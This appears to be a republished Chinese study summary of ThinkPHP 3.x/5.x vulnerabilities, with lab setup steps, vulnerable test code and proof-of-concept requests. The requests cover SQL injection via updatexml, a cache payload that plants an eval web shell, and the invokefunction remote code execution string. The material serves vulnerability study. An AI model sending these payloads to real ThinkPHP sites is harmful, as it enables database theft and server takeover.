Thinkphp3.x/5.x系列漏洞总结学习
2019-08-28 11:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:70 收藏

ThinkPHP 漏洞列表

一、3.x

使用方法

cd /var/www/tp3

ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell

标题ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell
时间2017-08-09
版本<= 3.2.3
文章链接<https://xz.aliyun.com/t/99>

ThinkPHP3.2.3_最新版update注入漏洞

标题Thinkphp3.2.3最新版update注入漏洞
时间2018-04-16
版本<= 3.2.3
文章链接<https://www.anquanke.com/post/id/104847>

ThinkPHP3.2.X_find_select_delete注入

标题thinkphp3.2 find_select_delete注入
时间2018-08-23
版本<= 3.2.3
文章链接<https://xz.aliyun.com/t/2631> <https://xz.aliyun.com/t/2629>

ThinkPHP3.X_order_by注入漏洞

标题ThinkPHP 3.X/5.X order by注入漏洞
时间2018-08-29
版本<= 3.2.3
文章链接<https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w>

二、5.x

使用方法

cd /var/www/tp5

ThinkPHP5_SQL注入漏洞&&敏感信息泄露

标题ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
时间2017-07-03
版本< 5.0.9
文章链接<https://xz.aliyun.com/t/125> <https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html>

测试方法

git checkout 02f8e8a

测试代码

public  function testsql()
{
$ids = input('ids/a');
$result = db('user')->where('id', 'in', $ids)->select();
var_dump($result);
}

POC

testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

结果

ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell

标题ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell
时间2017-08-09
版本< 5.0.11
文章链接<https://xz.aliyun.com/t/99>

测试方法

git checkout 094dde5

测试代码

public function add()
{
$user = input('post.');
$m=db('user')->where(['id'=> 1])->insert($user);
}

public function cache()
{
$m = db('user')->select();
Cache::set('name',$m,3600);
}

POC

post data:
username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
注:%2F%2F%0D%0A = //+回车

结果

其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而

md5('name') = b068931cc450442b63f5b3d276ea4297

ThinkPHP框架5.0.X_sql注入漏洞分析

标题ThinkPHP框架 5.0.x sql注入漏洞分析
时间2018-04-09
版本< 5.0.16
文章链接<https://xz.aliyun.com/t/2257>

测试方法

git checkout 7c13757

测试代码

public  function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}

POC

testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

结果

ThinkPHP5.X_order_by注入漏洞

标题ThinkPHP 3.X/5.X order by注入漏洞
时间2018-08-23
版本<= 5.1.22
文章链接<https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w>

测试方法

git checkout 35e9878

测试代码

public  function testsql()
{
$order = input('get.order');
$m = db('user')->order($order)->find();
var_dump($m);
}

POC

testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

结果

ThinkPHP5.X_远程代码执行

标题ThinkPHP5.X 远程代码执行
时间2018-12-10
版本5.0.5-5.0.22<br />5.1.0-5.1.30
文章链接<https://xz.aliyun.com/t/3570> <https://paper.seebug.org/760/> <https://paper.seebug.org/770>

测试方法

git checkout 4fefa5e

测试代码

public  function index()
{
//...无需实际代码
}

POC

index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

结果

更多可以查看 https://github.com/pochubs/pochubs/


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MDkwNjA2Nw==&amp;mid=2650374716&amp;idx=2&amp;sn=158139ef906616319a0f915209bf85cb&amp;chksm=beb0818089c7089637929f6513ee1beab8307c1d7df2608534ecbb0dc27b999a4f46be50909e#rd
如有侵权请联系:admin#unsafe.sh